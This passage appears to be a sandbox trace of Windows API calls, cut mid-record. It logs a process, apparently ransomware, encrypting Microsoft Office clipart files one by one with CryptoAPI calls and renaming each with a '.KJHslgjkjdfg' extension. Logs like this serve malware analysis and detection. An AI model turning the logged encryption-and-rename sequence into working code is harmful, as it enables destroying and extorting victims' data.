hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.728] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.728] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.728] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.728] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1388, lpOverlapped=0x0) returned 1 [0160.729] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0160.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0160.729] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] SetEndOfFile (hFile=0x114) returned 1 [0160.731] GetProcessHeap () returned 0x2a0000 [0160.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.732] GetProcessHeap () returned 0x2a0000 [0160.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.kjhslgjkjdfg")) returned 1 [0160.733] CloseHandle (hObject=0x114) returned 1 [0160.733] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0160.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.734] GetProcessHeap () returned 0x2a0000 [0160.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.734] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.736] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.736] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.736] GetProcessHeap () returned 0x2a0000 [0160.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.736] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.736] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.736] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.736] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.736] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.736] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.737] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.737] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.737] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1cac, lpOverlapped=0x0) returned 1 [0160.737] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0) returned 1 [0160.737] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.737] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1cb0, lpOverlapped=0x0) returned 1 [0160.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.738] SetEndOfFile (hFile=0x114) returned 1 [0160.740] GetProcessHeap () returned 0x2a0000 [0160.740] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.740] GetProcessHeap () returned 0x2a0000 [0160.740] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.kjhslgjkjdfg")) returned 1 [0160.741] CloseHandle (hObject=0x114) returned 1 [0160.741] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0160.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.742] GetProcessHeap () returned 0x2a0000 [0160.742] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.742] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0160.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.744] GetProcessHeap () returned 0x2a0000 [0160.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.745] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.745] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.745] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3dbe, lpOverlapped=0x0) returned 1 [0160.746] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3dc0) returned 1 [0160.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.746] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3dc0, lpOverlapped=0x0) returned 1 [0160.746] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.746] SetEndOfFile (hFile=0x114) returned 1 [0160.749] GetProcessHeap () returned 0x2a0000 [0160.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.749] GetProcessHeap () returned 0x2a0000 [0160.749] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.kjhslgjkjdfg")) returned 1 [0160.750] CloseHandle (hObject=0x114) returned 1 [0160.750] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0160.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.751] GetProcessHeap () returned 0x2a0000 [0160.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.751] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.751] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.751] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.751] GetProcessHeap () returned 0x2a0000 [0160.751] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.752] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.752] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.755] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.755] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.756] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1780, lpOverlapped=0x0) returned 1 [0160.758] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1780, dwBufLen=0x1780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1780) returned 1 [0160.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.758] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1780, lpOverlapped=0x0) returned 1 [0160.758] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.758] SetEndOfFile (hFile=0x114) returned 1 [0160.761] GetProcessHeap () returned 0x2a0000 [0160.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.761] GetProcessHeap () returned 0x2a0000 [0160.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.kjhslgjkjdfg")) returned 1 [0160.762] CloseHandle (hObject=0x114) returned 1 [0160.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0160.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.762] GetProcessHeap () returned 0x2a0000 [0160.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.762] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.765] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.765] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.765] GetProcessHeap () returned 0x2a0000 [0160.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.765] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.765] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.765] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.766] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1746, lpOverlapped=0x0) returned 1 [0160.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750, dwBufLen=0x1750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750) returned 1 [0160.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.767] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 